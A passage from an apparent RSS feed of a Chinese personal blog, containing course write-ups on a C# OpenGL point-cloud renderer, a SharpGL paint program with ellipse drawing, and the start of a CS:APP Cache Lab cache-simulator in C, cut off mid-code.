class="hljs-string">"Data loaded successfully."</span>);</div><div class="code-line numbered-code-line" data-line-number="155">		dataLoaded = <span class="hljs-literal">true</span>;</div><div class="code-line numbered-code-line" data-line-number="156">	}</div><div class="code-line numbered-code-line" data-line-number="157"></div><div class="code-line numbered-code-line" data-line-number="158">	<span class="hljs-comment">//改变视角</span></div><div class="code-line numbered-code-line" data-line-number="159">	gl.MatrixMode(OpenGL.GL_PROJECTION);</div><div class="code-line numbered-code-line" data-line-number="160">	gl.LoadIdentity();</div><div class="code-line numbered-code-line" data-line-number="161">	gl.Perspective(<span class="hljs-number">30f</span>, (<span class="hljs-built_in">double</span>)glCanvas.Width / (<span class="hljs-built_in">double</span>)glCanvas.Height, <span class="hljs-number">3</span>, <span class="hljs-number">20000</span>);</div><div class="code-line numbered-code-line" data-line-number="162">	gl.LookAt(LookAtMatrix[<span class="hljs-number">0</span>], LookAtMatrix[<span class="hljs-number">1</span>], LookAtMatrix[<span class="hljs-number">2</span>],</div><div class="code-line numbered-code-line" data-line-number="163">		  LookAtMatrix[<span class="hljs-number">3</span>], LookAtMatrix[<span class="hljs-number">4</span>], LookAtMatrix[<span class="hljs-number">5</span>],</div><div class="code-line numbered-code-line" data-line-number="164">		  LookAtMatrix[<span class="hljs-number">6</span>], LookAtMatrix[<span class="hljs-number">7</span>], LookAtMatrix[<span class="hljs-number">8</span>]);</div><div class="code-line numbered-code-line" data-line-number="165">	gl.MatrixMode(OpenGL.GL_MODELVIEW);</div><div class="code-line numbered-code-line" data-line-number="166">	<span class="hljs-keyword">if</span> (chkRepaint.Checked) {</div><div class="code-line numbered-code-line" data-line-number="167">		ClearAll();</div><div class="code-line numbered-code-line" data-line-number="168">	}</div><div class="code-line numbered-code-line" data-line-number="169"></div><div class="code-line numbered-code-line" data-line-number="170">	<span class="hljs-keyword">if</span> (chkAxis.Checked) {</div><div class="code-line numbered-code-line" data-line-number="171">		RenderAxis();</div><div class="code-line numbered-code-line" data-line-number="172">	}</div><div class="code-line numbered-code-line" data-line-number="173"></div><div class="code-line numbered-code-line" data-line-number="174">	<span class="hljs-keyword">if</span> (chkDots.Checked) {</div><div class="code-line numbered-code-line" data-line-number="175">		RenderDots();</div><div class="code-line numbered-code-line" data-line-number="176">	}</div><div class="code-line numbered-code-line" data-line-number="177">	LightConfiguration();</div><div class="code-line numbered-code-line" data-line-number="178">	<span class="hljs-keyword">if</span> (chkSurface.Checked) {</div><div class="code-line numbered-code-line" data-line-number="179">		RenderSurfaces();</div><div class="code-line numbered-code-line" data-line-number="180">	}</div><div class="code-line numbered-code-line" data-line-number="181">	Log(<span class="hljs-string">"Done. Time used: "</span> + sw.ElapsedMilliseconds + <span class="hljs-string">" ms"</span>);</div><div class="code-line numbered-code-line" data-line-number="182">	sw.Stop();</div><div class="code-line numbered-code-line" data-line-number="183">}</div></code></pre>
<p>完整的代码、可执行文件和 1.dat，2.txt 数据文件可以在下面下载到：</p>
<p>GitHub：<a href="https://github.com/jtchen2k/LearningRepo/tree/master/Course/ComputerGraphics/Work2">https://github.com/jtchen2k/LearningRepo/tree/master/Course/ComputerGraphics/Work2</a></p>]]></description>
            <link>https://jtchen.io/blog/point-cloud-loader</link>
            <guid isPermaLink="false">point-cloud-loader</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Mon, 02 Dec 2019 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[使用 C# 与 OpenGL (SharpGL) 实现简易画图板]]></title>
            <description><![CDATA[<p>计算机图形学的第一个大作业是用 OpenGL 或 DirectX3d 实现一个平面的画图，应当具备直线和圆形的功能。正好国庆放假时间比较充裕，就稍微完善了一下界面，实现了一个画图。</p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074724.png" width="100">
<center>随手画的一个 Logo</center>
<h2 id="关于-sharpgl"><a href="#关于-sharpgl">关于 SharpGL</a></h2>
<p>为了使 OpenGL 能正确地与 C# 互动，可以采用动态链接的方式直接手动将 OpenGl 的 dll 链接进自己工程中，但这种方法比较繁琐，况且网上已经有许多人做了重复的工作，于是我选择了一个似乎并不是特别受欢迎的包装库 SharpGL 来在 C# 中使用 OpenGL 的函数。</p>
<p>如果采用 OpenGLControl 控件获取 OpenGL 对象，那么使用 SharpGL 的代码风格会是这样：</p>
<pre><code class="hljs language-cs" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-comment">//C#</span></div><div class="code-line numbered-code-line" data-line-number="2">SharpeGL.OpenGL gl = glCanvas.OpenGL;</div><div class="code-line numbered-code-line" data-line-number="3">gl.Color(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>);</div><div class="code-line numbered-code-line" data-line-number="4">gl.Clear(OpenGL.GL_COLOR_BUFFER_BIT | OpenGL.GL_DEPTH_BUFFER_BIT);</div><div class="code-line numbered-code-line" data-line-number="5">gl.LoadIdentity();</div><div class="code-line numbered-code-line" data-line-number="6">gl.Translate(<span class="hljs-number">-4.68f</span>, <span class="hljs-number">4.11f</span>, <span class="hljs-number">-10f</span>);</div><div class="code-line numbered-code-line" data-line-number="7"></div><div class="code-line numbered-code-line" data-line-number="8">相比对应的 OpenGL 在 C/C++ 中的代码，可以流畅地转换。同时这个库还省去了 Glut 函数后面的 <span class="hljs-number">3f</span> 等恼人的参数，全部重载了一起。</div><div class="code-line numbered-code-line" data-line-number="9"></div><div class="code-line numbered-code-line" data-line-number="10"><span class="hljs-comment">//C</span></div><div class="code-line numbered-code-line" data-line-number="11">glColor3f(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>);</div><div class="code-line numbered-code-line" data-line-number="12">glClear(OpenGL.GL_COLOR_BUFFER_BIT | OpenGL.GL_DEPTH_BUFFER_BIT);</div><div class="code-line numbered-code-line" data-line-number="13">glLoadIdentity();</div><div class="code-line numbered-code-line" data-line-number="14">glTranslatef(<span class="hljs-number">-4.68f</span>, <span class="hljs-number">4.11f</span>, <span class="hljs-number">-10f</span>);</div></code></pre>
<p>你可以在这里 <a href="https://github.com/dwmkerr/sharpgl">https://github.com/dwmkerr/sharpgl</a> 了解到关于 SharpGL 的更多信息。</p>
<hr>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074733.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074733.png" alt="运行效果" loading="lazy" data-wrapped="true"></a></p>
<p>主要的功能如图。基本的画图功能都可以实现，刷新率大概在每秒 30 帧的样子。需要运行在 .Net Framework 4.6 以上，因为需要一个高 dpi 感知的 manifest。</p>
<p>目前还有两个需要探索的问题，一个是在拖动绘制直线的时候能够实时显示当前的绘制效果而不是抬起鼠标之后才绘制。也许要设计一些 buffer 相关的知识但目前自己的能力似乎还做不到。</p>
<p>同时使用如下代码开启抗锯齿后，圆形的绘制会有较大问题。在每一次绘制的时候多边形都会填充一次，造成绘制出来的圆形会成为这个样子：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074744.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074744.png" alt="奇怪的抗锯齿" loading="lazy" data-wrapped="true"></a></p>
<pre><code class="hljs language-cs" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-comment">// 抗锯齿</span></div><div class="code-line numbered-code-line" data-line-number="2">gl.Enable(OpenGL.GL_BLEND);</div><div class="code-line numbered-code-line" data-line-number="3">gl.BlendFunc(OpenGL.GL_SRC_ALPHA, OpenGL.GL_ONE_MINUS_SRC_ALPHA);</div><div class="code-line numbered-code-line" data-line-number="4">gl.Enable(OpenGL.GL_POINT_SMOOTH);</div><div class="code-line numbered-code-line" data-line-number="5">gl.Enable(OpenGL.GL_LINE_SMOOTH);</div><div class="code-line numbered-code-line" data-line-number="6">gl.Enable(OpenGL.GL_POLYGON_SMOOTH);</div><div class="code-line numbered-code-line" data-line-number="7"></div><div class="code-line numbered-code-line" data-line-number="8"><span class="hljs-comment">// 圆形的绘制代码</span></div><div class="code-line numbered-code-line" data-line-number="9"><span class="hljs-keyword">case</span> Tools.circle:</div><div class="code-line numbered-code-line" data-line-number="10">    <span class="hljs-comment">//使用参数函数 x = Acos; y = Bsin画椭圆</span></div><div class="code-line numbered-code-line" data-line-number="11">    <span class="hljs-built_in">double</span> lenA = Math.Abs(fx - pointQueue.Peek().fx) / <span class="hljs-number">2.0</span>;</div><div class="code-line numbered-code-line" data-line-number="12">    <span class="hljs-built_in">double</span> lenB = Math.Abs(fy - pointQueue.Peek().fy) / <span class="hljs-number">2.0</span>;</div><div class="code-line numbered-code-line" data-line-number="13">    fPoint center = <span class="hljs-keyword">new</span> fPoint((fx + pointQueue.Peek().fx) / <span class="hljs-number">2.0</span>, (fy + pointQueue.Peek().fy) / <span class="hljs-number">2.0</span>);</div><div class="code-line numbered-code-line" data-line-number="14">    <span class="hljs-built_in">int</span> n = <span class="hljs-number">90</span>;        <span class="hljs-comment">//精度，以n边的多边形代替椭圆</span></div><div class="code-line numbered-code-line" data-line-number="15">    gl.Begin(OpenGL.GL_POLYGON);</div><div class="code-line numbered-code-line" data-line-number="16">    {</div><div class="code-line numbered-code-line" data-line-number="17">        <span class="hljs-keyword">for</span> (<span class="hljs-built_in">double</span> alpha = <span class="hljs-number">0</span>; alpha &#x3C; Math.PI * <span class="hljs-number">2</span>; alpha += Math.PI / n) </div><div class="code-line numbered-code-line" data-line-number="18">        {</div><div class="code-line numbered-code-line" data-line-number="19">            gl.Vertex(center.fx + Math.Cos(alpha) * lenA, center.fy + Math.Sin(alpha) * lenB, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="20">        }</div><div class="code-line numbered-code-line" data-line-number="21">    }</div><div class="code-line numbered-code-line" data-line-number="22">    gl.End();</div><div class="code-line numbered-code-line" data-line-number="23">    pointQueue.Clear();</div><div class="code-line numbered-code-line" data-line-number="24">    <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="25"></div></code></pre>
<hr>
<p>你可以在<a href="https://github.com/jtchen2k/LearningRepo/tree/master/Course/ComputerGraphics/FPainter">这里</a>找到源代码。</p>
<p>之前本来的要求是用 MFC 实现图形界面，但看了看上世纪的框架文档实在是没有心思继续钻研下去。不知道什么时候大学的老师们能够在 ppt 里稍微去掉一些 199x 年的古董。</p>]]></description>
            <link>https://jtchen.io/blog/fpainter</link>
            <guid isPermaLink="false">fpainter</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Thu, 10 Oct 2019 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[深入理解计算机系统 (CS:APP) 高速缓存实验 Cache Lab 解析]]></title>
            <description><![CDATA[<blockquote>
<p>CS:APP 实验解析系列博客索引：</p>
<ul>
<li><a href="/blog/csapp-bomblab">深入理解计算机系统 (CS:APP) Bomb Lab 解析</a></li>
<li><a href="/blog/csapp-bufferlab">深入理解计算机系统 (CS:APP) 缓冲区漏洞实验 Buffer Lab 解析</a></li>
<li><a href="/blog/csapp-cachelab">深入理解计算机系统 (CS:APP) 高速缓存实验 Cache Lab 解析</a></li>
</ul>
<p>所有实验的代码可以在 <a href="https://github.com/jtchen2k/LearningRepo/tree/master/Course/CSAPP">这里</a> 找到。</p>
</blockquote>
<p>这个实验是这学期的第四个实验。作为缓存这一章的配套实验，设计得非常精妙。难度上来讲，相比之前的修改现成文件，直接写一个程序也更高了一些。需要注意的是检查程序在编译时开启了 -Werror，需要保证没有警告才能成功编译。</p>
<p>从官方文档得知需要完善 <code>csim.c</code> 和 <code>trans.c</code> 文件，第一个是模拟一个高速缓存的程序并从由 <code>valgrind</code> 程序生成的 <code>trace</code> 文件中统计 hit, miss 和 eviction 的数量。第二个文件需要优化矩阵转置程序降低程序的不命中度。</p>
<h2 id="part-a"><a href="#part-a">PART A</a></h2>
<p>这一部分的核心是使用了一个结构体来模拟一个缓存行：</p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">typedef</span> <span class="hljs-class hljs-keyword">struct</span> {</div><div class="code-line numbered-code-line" data-line-number="2">    <span class="hljs-type">int</span> valid;</div><div class="code-line numbered-code-line" data-line-number="3">    ulong tag;</div><div class="code-line numbered-code-line" data-line-number="4">    <span class="hljs-type">clock_t</span> time;</div><div class="code-line numbered-code-line" data-line-number="5">} CacheLine;</div></code></pre>
<p>再通过把缓存行在内存中动态分配成一个二维数组，实现模拟缓存的功能。并且使用了<code>typedef CacheLine *CacheSet;</code> 和 <code>typedef CacheSet *CacheHead;</code> 来让程序更整齐。输入来源于文件和命令行参数。可以用 <code>getopt()</code> 函数来解析参数。</p>
<p>各个函数的作用如下：</p>
<ul>
<li><code>CacheHead CacheInit(int S, int E)</code> 为缓存动态分配内存；</li>
<li><code>int CacheJudge(CacheHead cache, ulong index, ulong tag)</code> 判断缓存状态，是否有效，标记匹配；</li>
<li><code>void CacheEvict(CacheHead cache, ulong index, ulong tag)</code> 执行 eviction 操作；</li>
<li><code>void CacheTouch(CacheHead cache, ulong index, ulong tag)</code> 执行读取操作，只更新时间戳；</li>
<li><code>void CacheInsert(CacheHead cache, ulong index, ulong tag)</code> 执行缓存写入操作；</li>
<li><code>void Adder(int type, int num)</code> 计数器，增加 hit, miss 和 eviction 的数量，并根据配置选择打印信息；</li>
<li><code>void printByte(bytept h, int len)</code> 逐字节以 16 进制打印内存数据；</li>
<li><code>void Execute(CacheHead cache, char type, ulong address, int len)</code> 主要的执行函数；</li>
<li><code>int main(int argc, char *args[])</code> main 函数，读取参数，打开文件；</li>
</ul>
<p>完整的程序代码如下：</p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-comment">// Created by Bill Chen</span></div><div class="code-line numbered-code-line" data-line-number="2"><span class="hljs-comment">// 2019.5.20</span></div><div class="code-line numbered-code-line" data-line-number="3">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">"cachelab.h"</span></div><div class="code-line numbered-code-line" data-line-number="4">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;getopt.h></span></div><div class="code-line numbered-code-line" data-line-number="5">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;stdio.h></span></div><div class="code-line numbered-code-line" data-line-number="6">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;stdlib.h></span></div><div class="code-line numbered-code-line" data-line-number="7">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;time.h></span></div><div class="code-line numbered-code-line" data-line-number="8">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;unistd.h></span></div><div class="code-line numbered-code-line" data-line-number="9"></div><div class="code-line numbered-code-line" data-line-number="10">#<span class="hljs-meta hljs-keyword">define</span> MACHINE_BITS 64</div><div class="code-line numbered-code-line" data-line-number="11">#<span class="hljs-meta hljs-keyword">define</span> NEED_EVICT -1</div><div class="code-line numbered-code-line" data-line-number="12">#<span class="hljs-meta hljs-keyword">define</span> NO_MATCH -2</div><div class="code-line numbered-code-line" data-line-number="13">#<span class="hljs-meta hljs-keyword">define</span> CACHED 1</div><div class="code-line numbered-code-line" data-line-number="14">#<span class="hljs-meta hljs-keyword">define</span> ADD_HIT 1</div><div class="code-line numbered-code-line" data-line-number="15">#<span class="hljs-meta hljs-keyword">define</span> ADD_MISS 2</div><div class="code-line numbered-code-line" data-line-number="16">#<span class="hljs-meta hljs-keyword">define</span> ADD_EVICT 3</div><div class="code-line numbered-code-line" data-line-number="17"></div><div class="code-line numbered-code-line" data-line-number="18"><span class="hljs-type">int</span> totalMissCount = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="19"><span class="hljs-type">int</span> totalHitCount = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="20"><span class="hljs-type">int</span> totalEvictCount = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="21"></div><div class="code-line numbered-code-line" data-line-number="22"><span class="hljs-keyword">typedef</span> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> ulong;</div><div class="code-line numbered-code-line" data-line-number="23"><span class="hljs-keyword">typedef</span> <span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> *bytept;</div><div class="code-line numbered-code-line" data-line-number="24"><span class="hljs-type">const</span> <span class="hljs-type">char</span> *optString = <span class="hljs-string">"s:E:b:t:hVv"</span>;</div><div class="code-line numbered-code-line" data-line-number="25"></div><div class="code-line numbered-code-line" data-line-number="26"><span class="hljs-class hljs-keyword">struct</span> <span class="hljs-class hljs-title">globalOptions</span> {</div><div class="code-line numbered-code-line" data-line-number="27">    <span class="hljs-type">int</span> setIndexBits;</div><div class="code-line numbered-code-line" data-line-number="28">    <span class="hljs-type">int</span> associativity;</div><div class="code-line numbered-code-line" data-line-number="29">    <span class="hljs-type">int</span> blockBits;</div><div class="code-line numbered-code-line" data-line-number="30">    <span class="hljs-type">int</span> verboseFlag;</div><div class="code-line numbered-code-line" data-line-number="31">    <span class="hljs-type">int</span> tagBits;</div><div class="code-line numbered-code-line" data-line-number="32">    <span class="hljs-type">int</span> superVerboseFlag;</div><div class="code-line numbered-code-line" data-line-number="33">    <span class="hljs-type">char</span> *traceDir;</div><div class="code-line numbered-code-line" data-line-number="34">} globalOptions;</div><div class="code-line numbered-code-line" data-line-number="35"><span class="hljs-class hljs-keyword">struct</span> <span class="hljs-class hljs-title">result</span> {</div><div class="code-line numbered-code-line" data-line-number="36">    <span class="hljs-type">int</span> hit;</div><div class="code-line numbered-code-line" data-line-number="37">    <span class="hljs-type">int</span> miss;</div><div class="code-line numbered-code-line" data-line-number="38">    <span class="hljs-type">int</span> evict;</div><div class="code-line numbered-code-line" data-line-number="39">};</div><div class="code-line numbered-code-line" data-line-number="40"><span class="hljs-keyword">typedef</span> <span class="hljs-class hljs-keyword">struct</span> {</div><div class="code-line numbered-code-line" data-line-number="41">    <span class="hljs-type">int</span> valid;</div><div class="code-line numbered-code-line" data-line-number="42">    ulong tag;</div><div class="code-line numbered-code-line" data-line-number="43">    <span class="hljs-type">clock_t</span> time;</div><div class="code-line numbered-code-line" data-line-number="44">} CacheLine;</div><div class="code-line numbered-code-line" data-line-number="45"></div><div class="code-line numbered-code-line" data-line-number="46"><span class="hljs-keyword">typedef</span> CacheLine *CacheSet;</div><div class="code-line numbered-code-line" data-line-number="47"><span class="hljs-keyword">typedef</span> CacheSet *CacheHead;</div><div class="code-line numbered-code-line" data-line-number="48"></div><div class="code-line numbered-code-line" data-line-number="49"><span class="hljs-type">void</span> <span class="hljs-title function_">usage</span><span class="hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="50">    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Usage: ./csim [-hv] -s &#x3C;s> -E &#x3C;E> -b &#x3C;b> -t &#x3C;tracefile>\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="51">    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"-h get help info\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="52">    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"-v Optional verbose flag that displays trace info\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="53">    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"-V Optional super verbose flag that displays very detailed trace info\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="54">    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"-s &#x3C;s> Number of set index bits\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="55">    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"-E &#x3C;E> Associativity (number of lines per set)\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="56">    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"-b &#x3C;b> Number of block bits\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="57">    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"-t &#x3C;tracefile>: Name of the valgrind trace to replay\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="58">}</div><div class="code-line numbered-code-line" data-line-number="59"></div><div class="code-line numbered-code-line" data-line-number="60">CacheHead <span class="hljs-title function_">CacheInit</span>(<span class="hljs-params hljs-type">int</span> S, <span class="hljs-params hljs-type">int</span> E) {</div><div class="code-line numbered-code-line" data-line-number="61">    CacheHead cache;</div><div class="code-line numbered-code-line" data-line-number="62">    cache = <span class="hljs-built_in">calloc</span>(<span class="hljs-number">1</span> &#x3C;&#x3C; S, <span class="hljs-keyword">sizeof</span>(CacheSet));</div><div class="code-line numbered-code-line" data-line-number="63">    <span class="hljs-keyword">if</span> (cache == <span class="hljs-literal">NULL</span>) {</div><div class="code-line numbered-code-line" data-line-number="64">        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Fail to allocate memory for cache.\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="65">        <span class="hljs-built_in">exit</span>(EXIT_FAILURE);</div><div class="code-line numbered-code-line" data-line-number="66">    }</div><div class="code-line numbered-code-line" data-line-number="67">    <span class="hljs-type">int</span> i = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="68">    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &#x3C; <span class="hljs-number">1</span> &#x3C;&#x3C; S; i++) {</div><div class="code-line numbered-code-line" data-line-number="69">        <span class="hljs-keyword">if</span> ((cache[i] = <span class="hljs-built_in">calloc</span>(E, <span class="hljs-keyword">sizeof</span>(CacheLine))) == <span class="hljs-literal">NULL</span>) {</div><div class="code-line numbered-code-line" data-line-number="70">            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Fail to allocate memory for cache.\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="71">            <span class="hljs-built_in">exit</span>(EXIT_FAILURE);</div><div class="code-line numbered-code-line" data-line-number="72">        }</div><div class="code-line numbered-code-line" data-line-number="73">    }</div><div class="code-line numbered-code-line" data-line-number="74">    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &#x3C; <span class="hljs-number">1</span> &#x3C;&#x3C; S; i++) {</div><div class="code-line numbered-code-line" data-line-number="75">        <span class="hljs-type">int</span> j;</div><div class="code-line numbered-code-line" data-line-number="76">        <span class="hljs-keyword">for</span> (j = <span class="hljs-number">0</span>; j &#x3C; E; j++) {</div><div class="code-line numbered-code-line" data-line-number="77">            cache[i][j].valid = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="78">        }</div><div class="code-line numbered-code-line" data-line-number="79">    }</div><div class="code-line numbered-code-line" data-line-number="80">    <span class="hljs-keyword">return</span> cache;</div><div class="code-line numbered-code-line" data-line-number="81">}</div><div class="code-line numbered-code-line" data-line-number="82"></div><div class="code-line numbered-code-line" data-line-number="83"><span class="hljs-type">int</span> <span class="hljs-title function_">CacheJudge</span><span class="hljs-params">(CacheHead cache, ulong index, ulong tag)</span> {</div><div class="code-line numbered-code-line" data-line-number="84">    <span class="hljs-type">int</span> i;</div><div class="code-line numbered-code-line" data-line-number="85">    <span class="hljs-type">int</span> fullFlag = <span class="hljs-number">1</span>;</div><div class="code-line numbered-code-line" data-line-number="86">    <span class="hljs-type">int</span> matchFlag = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="87">    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &#x3C; globalOptions.associativity; i++) {</div><div class="code-line numbered-code-line" data-line-number="88">        <span class="hljs-keyword">if</span> (cache[index][i].valid == <span class="hljs-number">0</span>) {</div><div class="code-line numbered-code-line" data-line-number="89">            fullFlag = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="90">        }</div><div class="code-line numbered-code-line" data-line-number="91">        <span class="hljs-keyword">if</span> (cache[index][i].tag == tag &#x26;&#x26; cache[index][i].valid == <span class="hljs-number">1</span>) {</div><div class="code-line numbered-code-line" data-line-number="92">            matchFlag = <span class="hljs-number">1</span>;</div><div class="code-line numbered-code-line" data-line-number="93">        }</div><div class="code-line numbered-code-line" data-line-number="94">    }</div><div class="code-line numbered-code-line" data-line-number="95">    <span class="hljs-keyword">if</span> (matchFlag == <span class="hljs-number">1</span>)</div><div class="code-line numbered-code-line" data-line-number="96">        <span class="hljs-keyword">return</span> CACHED;</div><div class="code-line numbered-code-line" data-line-number="97">    <span class="hljs-keyword">if</span> (fullFlag == <span class="hljs-number">1</span>)</div><div class="code-line numbered-code-line" data-line-number="98">        <span class="hljs-keyword">return</span> NEED_EVICT;</div><div class="code-line numbered-code-line" data-line-number="99">    <span class="hljs-keyword">else</span></div><div class="code-line numbered-code-line" data-line-number="100">        <span class="hljs-keyword">return</span> NO_MATCH;</div><div class="code-line numbered-code-line" data-line-number="101">}</div><div class="code-line numbered-code-line" data-line-number="102"></div><div class="code-line numbered-code-line" data-line-number="103"><span class="hljs-type">void</span> <span class="hljs-title function_">CacheInsert</span><span class="hljs-params">(CacheHead cache, ulong index, ulong tag)</span> {</div><div class="code-line numbered-code-line" data-line-number="104">    <span class="hljs-type">int</span> freeLine = <span class="hljs-number">0</span>, i;</div><div class="code-line numbered-code-line" data-line-number="105">    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &#x3C; globalOptions.associativity; i++) {</div><div class="code-line numbered-code-line" data-line-number="106">        <span class="hljs-keyword">if</span> (cache[index][i].valid == <span class="hljs-number">0</span>)</div><div class="code-line numbered-code-line" data-line-number="107">            <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="108">        freeLine++;</div><div class="code-line numbered-code-line" data-line-number="109">    }</div><div class="code-line numbered-code-line" data-line-number="110">    CacheLine *target = cache[index] + freeLine;</div><div class="code-line numbered-code-line" data-line-number="111">    target->tag = tag;</div><div class="code-line numbered-code-line" data-line-number="112">    target->valid = <span class="hljs-number">1</span>;</div><div class="code-line numbered-code-line" data-line-number="113">    target->time = clock();</div><div class="code-line numbered-code-line" data-line-number="114">}</div><div class="code-line numbered-code-line" data-line-number="115"></div><div class="code-line numbered-code-line" data-line-number="116"><span class="hljs-type">void</span> <span class="hljs-title function_">CacheEvict</span><span class="hljs-params">(CacheHead cache, ulong index, ulong tag)</span> {</div><div class="code-line numbered-code-line" data-line-number="117">    <span class="hljs-type">int</span> firstLine = <span class="hljs-number">0</span>, i = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="118">    <span class="hljs-type">clock_t</span> firstCachedTime = cache[index][i].time;</div><div class="code-line numbered-code-line" data-line-number="119">    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &#x3C; globalOptions.associativity; i++) {</div><div class="code-line numbered-code-line" data-line-number="120">        <span class="hljs-keyword">if</span> (cache[index][i].time &#x3C; firstCachedTime) {</div><div class="code-line numbered-code-line" data-line-number="121">            firstCachedTime = cache[index][i].time;</div><div class="code-line numbered-code-line" data-line-number="122">            firstLine = i;</div><div class="code-line numbered-code-line" data-line-number="123">        }</div><div class="code-line numbered-code-line" data-line-number="124">    }</div><div class="code-line numbered-code-line" data-line-number="125">    CacheLine *target = cache[index] + firstLine;</div><div class="code-line numbered-code-line" data-line-number="126">    target->tag = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="127">    target->time = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="128">    target->valid = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="129">}</div><div class="code-line numbered-code-line" data-line-number="130"></div><div class="code-line numbered-code-line" data-line-number="131"><span class="hljs-type">void</span> <span class="hljs-title function_">CacheTouch</span><span class="hljs-params">(CacheHead cache, ulong index, ulong tag)</span> {</div><div class="code-line numbered-code-line" data-line-number="132">    <span class="hljs-type">int</span> touchLine = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="133">    <span class="hljs-keyword">while</span> (cache[index][touchLine].tag != tag)</div><div class="code-line numbered-code-line" data-line-number="134">        touchLine++;</div><div class="code-line numbered-code-line" data-line-number="135">    cache[index][touchLine].time = clock();</div><div class="code-line numbered-code-line" data-line-number="136">}</div><div class="code-line numbered-code-line" data-line-number="137"></div><div class="code-line numbered-code-line" data-line-number="138"><span class="hljs-type">void</span> <span class="hljs-title function_">Adder</span>(<span class="hljs-params hljs-type">int</span> type, <span class="hljs-params hljs-type">int</span> num) {</div><div class="code-line numbered-code-line" data-line-number="139">    <span class="hljs-type">int</span> v = globalOptions.verboseFlag;</div><div class="code-line numbered-code-line" data-line-number="140">    <span class="hljs-keyword">switch</span> (type) {</div><div class="code-line numbered-code-line" data-line-number="141">    <span class="hljs-keyword">case</span> ADD_EVICT:</div><div class="code-line numbered-code-line" data-line-number="142">        totalEvictCount += num;</div><div class="code-line numbered-code-line" data-line-number="143">        <span class="hljs-keyword">if</span> (v &#x26;&#x26; num != <span class="hljs-number">0</span>)</div><div class="code-line numbered-code-line" data-line-number="144">            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"eviction "</span>);</div><div class="code-line numbered-code-line" data-line-number="145">        <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="146">    <span class="hljs-keyword">case</span> ADD_HIT:</div><div class="code-line numbered-code-line" data-line-number="147">        totalHitCount += num;</div><div class="code-line numbered-code-line" data-line-number="148">        <span class="hljs-keyword">if</span> (v &#x26;&#x26; num != <span class="hljs-number">0</span>)</div><div class="code-line numbered-code-line" data-line-number="149">            <span 